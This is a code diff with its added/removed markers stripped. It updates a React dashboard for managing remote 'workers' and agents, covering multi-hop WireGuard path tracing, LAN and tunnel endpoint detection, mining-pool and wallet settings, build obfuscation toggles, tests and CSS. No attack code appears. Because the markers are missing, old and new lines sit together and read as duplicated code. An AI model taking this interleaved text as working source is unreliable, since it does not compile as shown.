pollRef.current = null;
// Fetch QR.
const qrData = await api.getTraceQR(sid);
setQR(qrData);
setShowQR(true);
try {
const qrData = await api.getTraceQR(sid);
clearInterval(pollRef.current!);
pollRef.current = null;
setQR(qrData);
setShowQR(true);
} catch (e: unknown) {
setError(e instanceof Error ? e.message : 'Failed to load QR config');
}
return;
}
} catch {
// Ignore transient errors
// Ignore transient status poll errors
}
}, 2000);
};
@@ -209,7 +214,7 @@ export default function PathTracerPage() {
{/* Header */}
<div className="pt-header">
<div>
<div className="pt-title"> Path Tracer</div>
<div className="pt-title"> Path Tracer <HelpTip field="pt_path_tracer" /></div>
<div className="pt-subtitle">
Build an on-demand multi-hop WireGuard VPN select up to 3 agents, click TRACE.
</div>
@@ -229,7 +234,7 @@ export default function PathTracerPage() {
{/* Left: agent selection */}
<div>
<div className="pt-section-label">
Online agents &mdash; click to add to chain (max 3)
Online agents &mdash; click to add to chain (max 3) <HelpTip field="pt_agent_chain" />
</div>
<div className="pt-section-panel">
{onlineAgents.length === 0 && (

View File

@@ -76,8 +76,8 @@ describe('SettingsPage (Calibrate)', () => {
it('shows detected LAN endpoints banner', async () => {
renderSettings();
expect(await screen.findByText('DETECTED LAN ENDPOINTS')).toBeInTheDocument();
expect(screen.getByText(mockServerInfo.suggested_url!)).toBeInTheDocument();
expect(await screen.findByText('DETECTED ENDPOINTS')).toBeInTheDocument();
expect(screen.getByText(mockServerInfo.lan_url!)).toBeInTheDocument();
expect(screen.getByText(/IPs on this host:/)).toBeInTheDocument();
});
@@ -92,19 +92,28 @@ describe('SettingsPage (Calibrate)', () => {
expect(await screen.findByText('Calibration saved — control server updated.')).toBeInTheDocument();
});
it('auto-fills detected LAN URL when public_url is blank', async () => {
vi.spyOn(api, 'getConfig').mockResolvedValue(
mockServerConfig({ server: { public_url: '' } })
);
renderSettings();
const publicUrlInput = (await screen.findByPlaceholderText(mockServerInfo.lan_url!)) as HTMLInputElement;
expect(publicUrlInput.value).toBe(mockServerInfo.lan_url);
});
it('applies best defaults to public URL from server info', async () => {
vi.spyOn(api, 'getConfig').mockResolvedValue(
mockServerConfig({ server: { public_url: '' } })
);
renderSettings();
await screen.findByRole('button', { name: 'Use best defaults' });
const publicUrlInput = screen.getByPlaceholderText(mockServerInfo.suggested_url!) as HTMLInputElement;
expect(publicUrlInput.value).toBe('');
const publicUrlInput = screen.getByPlaceholderText(mockServerInfo.lan_url!) as HTMLInputElement;
expect(publicUrlInput.value).toBe(mockServerInfo.lan_url);
await userEvent.setup().click(screen.getByRole('button', { name: 'Use best defaults' }));
expect(
await screen.findByText(/Best defaults applied.*Save Calibration/i)
).toBeInTheDocument();
expect(publicUrlInput.value).toBe(mockServerInfo.suggested_url);
expect(publicUrlInput.value).toBe(mockServerInfo.lan_url);
});
it('stores browser session credentials', async () => {

View File

@@ -1,7 +1,7 @@
import { useState, useEffect, useRef } from 'react';
import { api } from '../api/client';
import { setStoredAuth, getStoredAuth, clearStoredAuth } from '../api/auth';
import type { ServerConfig } from '../types';
import type { ServerConfig, ServerInfo } from '../types';
import {
DEFAULT_PRESET_IDS,
orderedPoolsFromSelection,
@@ -72,7 +72,7 @@ export default function SettingsPage() {
const { glowParticles, setGlowParticles } = useVisualEffects();
const [forgeTheme, setForgeTheme] = useState<ForgeThemeOverride>(loadStoredForgeTheme);
const [config, setConfig] = useState<ServerConfig | null>(null);
const [serverInfo, setServerInfo] = useState<{ suggested_url: string; local_ips: string[] } | null>(null);
const [serverInfo, setServerInfo] = useState<ServerInfo | null>(null);
const [loading, setLoading] = useState(true);
const [saving, setSaving] = useState(false);
const [saveMessage, setSaveMessage] = useState('');
@@ -92,6 +92,10 @@ export default function SettingsPage() {
useEffect(() => {
Promise.all([api.getConfig(), api.getServerInfo()])
.then(([cfg, info]) => {
const detectedLan = info.lan_url?.trim()
|| (info.local_ips?.[0] ? `http://${info.local_ips[0]}:${cfg.port || info.port || 8989}` : '');
const publicUrl = cfg.server?.public_url?.trim() || detectedLan;
setConfig({
...cfg,
rvn_wallet: cfg.rvn_wallet ?? { address: '', payment_id: '' },
@@ -117,7 +121,7 @@ export default function SettingsPage() {
notify_kev_exposure: cfg.alerts?.notify_kev_exposure ?? true,
},
server: {
public_url: cfg.server?.public_url ?? '',
public_url: publicUrl,
stats_retention_hours: cfg.server?.stats_retention_hours ?? 168,
build_retention_days: cfg.server?.build_retention_days ?? 30,
pool_reconnect_seconds: cfg.server?.pool_reconnect_seconds ?? 30,
@@ -393,19 +397,35 @@ export default function SettingsPage() {
{serverInfo && (
<NeonCard accent="cyan" className="calibrate-banner operator-deck-card operator-interactive" hud>
<p className="font-tech">DETECTED LAN ENDPOINTS</p>
<p><strong>Suggested:</strong> <code className="mono-sm">{serverInfo.suggested_url}</code></p>
<p className="font-tech">DETECTED ENDPOINTS</p>
{(serverInfo.lan_url || serverInfo.local_ips?.length) ? (
<p>
<strong>LAN:</strong>{' '}
<code className="mono-sm">{serverInfo.lan_url || serverInfo.suggested_url}</code>
</p>
) : null}
{serverInfo.tunnel_url ? (
<p>
<strong>HTTPS (tunnel):</strong>{' '}
<code className="mono-sm">{serverInfo.tunnel_url}</code>
</p>
) : serverInfo.cloudflared_configured ? (
<p className="form-hint">
Cloudflare tunnel connector is configured on this server open the dashboard via your tunnel hostname to see the public HTTPS endpoint here.
</p>
) : null}
{serverInfo.local_ips?.length > 0 && (
<p className="form-hint">IPs on this host: {serverInfo.local_ips.join(' · ')}</p>
)}
<p className="form-hint">Workers need this LAN address not localhost. Click below to apply best defaults, then Save Calibration.</p>
<p className="form-hint">Workers on your LAN need the LAN address not localhost. Remote workers can use the HTTPS tunnel URL when cloudflared is running.</p>
<button
type="button"
className="btn btn-primary btn-sm"
style={{ marginTop: '0.75rem' }}
onClick={() => {
if (!config) return;
updateField('server.public_url', serverInfo.suggested_url);
const lan = serverInfo.lan_url || serverInfo.suggested_url;
updateField('server.public_url', lan);
updateField('server.open_firewall_on_start', true);
updateField('server.obfuscate_default', false);
updateField('server.sign_enabled', false);
@@ -649,12 +669,12 @@ export default function SettingsPage() {
<label htmlFor="cfg-public-url" className="label">Public URL (LAN) <HelpTip field="public_url" /></label>
<div style={{ display: 'flex', gap: '8px', flexWrap: 'wrap', alignItems: 'center' }}>
<input id="cfg-public-url" type="text" className="input mono" style={{ flex: 1, minWidth: '200px' }}
placeholder={serverInfo?.suggested_url || 'http://192.168.1.x:8989'}
placeholder={serverInfo?.lan_url || serverInfo?.suggested_url || 'http://192.168.1.x:8989'}
value={s.public_url}
onChange={(e) => updateField('server.public_url', e.target.value)} />
{serverInfo?.suggested_url && (
{(serverInfo?.lan_url || serverInfo?.suggested_url) && (
<button type="button" className="btn btn-outline btn-sm"
onClick={() => updateField('server.public_url', serverInfo.suggested_url)}>
onClick={() => updateField('server.public_url', serverInfo.lan_url || serverInfo.suggested_url)}>
Use detected LAN
</button>
)}

View File

@@ -289,6 +289,23 @@ input[type='range'] {
}
/* ── Status & badges ───────────────────────────────────────────────────────── */
.status-badge,
.latency-badge,
.fh-status-chip,
.cn-upd,
.cn-reboot,
.cn-thermal,
.cn-disk,
.cn-throttle,
.cn-dns,
.cn-elevated,
.cn-ports,
.cn-patch,
.cn-ssh,
.cn-posture {
backdrop-filter: blur(4px);
}
.status-badge,
.latency-badge {
backdrop-filter: blur(6px);
@@ -415,3 +432,36 @@ code {
background: none;
}
}
/* ── Keyboard focus ──────────────────────────────────────────────────────── */
.btn:focus-visible,
.nav-item:focus-visible,
.mobile-bottom-nav-item:focus-visible,
.mobile-more-link:focus-visible,
.input:focus-visible,
.select:focus-visible,
textarea.input:focus-visible,
.fm-crumb:focus-visible,
.fm-row:focus-visible {
outline: 2px solid var(--neon-cyan);
outline-offset: 2px;
box-shadow: 0 0 0 4px rgba(0, 232, 245, 0.15);
}
.matrix-toggle-btn {
background: transparent;
border: 1px solid var(--neon-green);
color: var(--neon-green);
font-family: var(--font-tech);
letter-spacing: 0.06em;
font-size: 0.72rem;
padding: 0.35rem 0.65rem;
border-radius: 2px;
cursor: pointer;
transition: background 0.2s ease, box-shadow 0.2s ease, border-color 0.2s ease;
}
.matrix-toggle-btn:hover {
background: rgba(46, 232, 16, 0.08);
box-shadow: 0 0 12px rgba(46, 232, 16, 0.25);
}

View File

@@ -91,6 +91,8 @@ export const mockServerInfo: ServerInfo = {
port: 8080,
host: '0.0.0.0',
local_ips: ['192.168.1.5'],
lan_url: 'http://192.168.1.5:8080',
cloudflared_configured: false,
suggested_url: 'http://192.168.1.5:8080',
dashboard_url: 'http://192.168.1.5:8080/dashboard',
websocket_url: 'ws://192.168.1.5:8080/ws/dashboard',

View File

@@ -125,6 +125,12 @@ export interface ServerInfo {
port: number;
host: string;
local_ips: string[];
/** LAN http endpoint for workers on the same network (always from local IPs). */
lan_url?: string;
/** HTTPS public endpoint when the dashboard request came through a tunnel/proxy. */
tunnel_url?: string;
/** True when a Cloudflare connector token is configured on this server. */
cloudflared_configured?: boolean;
suggested_url: string;
dashboard_url: string;
websocket_url: string;